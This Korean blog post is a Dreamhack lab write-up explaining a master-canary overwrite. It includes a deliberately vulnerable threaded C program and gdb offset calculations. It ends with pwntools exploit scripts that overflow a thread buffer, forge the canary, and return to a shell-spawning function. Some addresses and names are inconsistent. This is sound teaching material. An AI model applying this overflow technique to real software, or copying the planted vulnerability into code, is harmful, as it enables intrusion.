[Dreamhack] Exploit Tech: Master Canary

Sisyphus·2022년 7월 28일
0

Dreamhack - System Hacking

목록 보기
41/49

들어가며

Master canary 실습 예제

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void giveshell() { execve("/bin/sh", 0, 0); }

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
}

void thread_routine() {
    char buf[256];
    int size = 0;
    printf("Size: ");
    scanf("%d", &size);
    printf("Data: ");
    read(0, buf, size);
}

int main() {
    pthread_t thread_t;
    
    init();
    
    if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
      perror("thread create error:");
      exit(0);
    }
    pthread_join(thread_t, 0);
    
    return 0;
}


Thread Stack

Thread Stack

스레드 함수에서 선언된 변수는 일반적인 함수와 달리 TLS와 인접한 영역에 할당됩니다. 그러나 버퍼를 할당을 때 TLS 영역에 존재하는 마스터 카나리 값을 참조한다는 점은 동일합니다.

스레드에서 할당한 변수는 마스터 카나리가 위치하는 주소보다 낮은 주소에 있기 때문에 버퍼 오버플로우가 발생하면 마스터 카나리 값을 덮어쓸 수 있습니다. 만약 이렇게 취약점을 통해 마스터 카나리를 임의의 값으로 조작할 수 있다면, 스택 카나리 값을 알아낼 필요 없이 익스플로잇을 할 수 있습니다.



분석

보호 기법

ion@Galaxy-Book:~/dreamhack/Master_Canary$ checksec mc_thread
[*] '/home/ion/dreamhack/Master_Canary/mc_thread'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

코드 분석

pthread_create 함수를 통해 스레드를 생성하여 thread_routine()을 실행합니다.
해당 함수에서 입력한 size 만큼 buf[256]에 입력을 받기 때문에 버퍼 오버플로우가 발생합니다.



익스플로잇

1. 주소 거리 계산

마스터 카나리를 덮어쓰기 위해서는 스레드에서 할당한 버퍼 주소와 마스터 카나리 주소의 거리를 계산해야 합니다. 프로세스가 다시 시작되도 상대적인 주소 차이는 매번 같기 때문에 디버깅을 통해 알아낼 수 있습니다.

2. 마스터 카나리 변조

주소 거리를 알아냈다면 임의의 바이트를 채우고나서 마스터 카나리를 원하는 값으로 덮어씁니다.

3. RIP 조작

스택 카나리를 변조한 마스터 카나리 값과 똑같이 조작하고 리턴 주소는 예제에서 주어진 giveshell 함수로 덮어서 쉘을 흭득합니다.


주소 거리 계산

먼저 버퍼의 주소를 알아내기 위해서 thread_routine 함수의 디스어셈블 결과를 확인하고 브레이크 포인트를 겁니다.

   0x000000000040128c <+115>:   lea    rax,[rbp-0x110]
   0x0000000000401293 <+122>:   mov    rsi,rax
   0x0000000000401296 <+125>:   mov    edi,0x0
   0x000000000040129b <+130>:   call   0x401060 <read@plt>
gef➤  b * 0x0000000000400950
Breakpoint 1 at 0x400950

디스어셈블 결과를 보면, read 함수에서 [rbp-0x110] 위치에 입력을 받고 있기 때문에 실행을 하고 rbp-0x110 주소를 출력해보면

gef➤  r
Starting program: /home/ion/dreamhack/Master_Canary/mc_thread
gef➤  x/x ($rbp-0x110)
0x7ffff77c1de0: 0x00000000

rbp-0x110: 0x7ffff77c1de0

이제 $fs_base+0x28로 마스터 카나리 주소를 구하고 버퍼와의 주소 차이를 구해보면

gef➤  x/x $fs_base+0x28
0x7ffff77c2728: 0x418f5900
gef➤   x/x ($fs_base+0x28)-0x7ffff77c1de0
0x948:  Cannot access memory at address 0x948

0x948 만큼 떨어져 있습니다.


마스터 카나리 변조

스택 버퍼와 마스터 카나리의 간격이 0x948 바이트이므로, 0x948 바이트 패딩과 임의의 8 바이트 값을 입력하면 마스터 카나리를 원하는 값으로 조작할 수 있습니다.

마스터 카나리를 0x4141414141414141로 조작하는 익스플로잇 코드를 실행시켜보면

# Name: mc_thread.py
from pwn import *

p = process("./mc_thread")

payload = b"A"*0x948
payload += p64(0x4141414141414141)

inp_sz = len(payload)

p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)

p.interactive()
ion@Galaxy-Book:~/dreamhack/Master_Canary$ python3 mc_thread.py
[+] Starting local process './mc_thread': pid 140
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Process './mc_thread' stopped with exit code -11 (SIGSEGV) (pid 140)
[*] Got EOF while sending in interactive
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/process.py", line 746, in close
    fd.close()
BrokenPipeError: [Errno 32] Broken pipe

카나리 값을 AAAAAAAA로 덮어서 익스플로잇 결과로 Abort가 발생하지 않았습니다.


RIP 조작

리턴 주소를 gitshell() 함수 주소로 조작하면 쉘을 흭득할 수 있습니다.

# Name: mc_thread.py
from pwn import *

p = process("./mc_thread")
elf = ELF('./mc_thread')

giveshell = elf.symbols['giveshell']

payload = b"A"*264
payload += b"A"*8 # canary
payload += b"B"*8
payload += p64(giveshell)

payload += b"A"*(0x948-len(payload))
payload += p64(0x4141414141414141) # master canary

inp_sz = len(payload)

p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)

p.interactive()
ion@Galaxy-Book:~/dreamhack/Master_Canary$ python3 exploit.py
[+] Starting local process './mc_thread': pid 149
[*] '/home/ion/dreamhack/Master_Canary/mc_thread'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
$ ls
core  exploit.py  mc_thread  mc_thread.c  mc_thread.py

0개의 댓글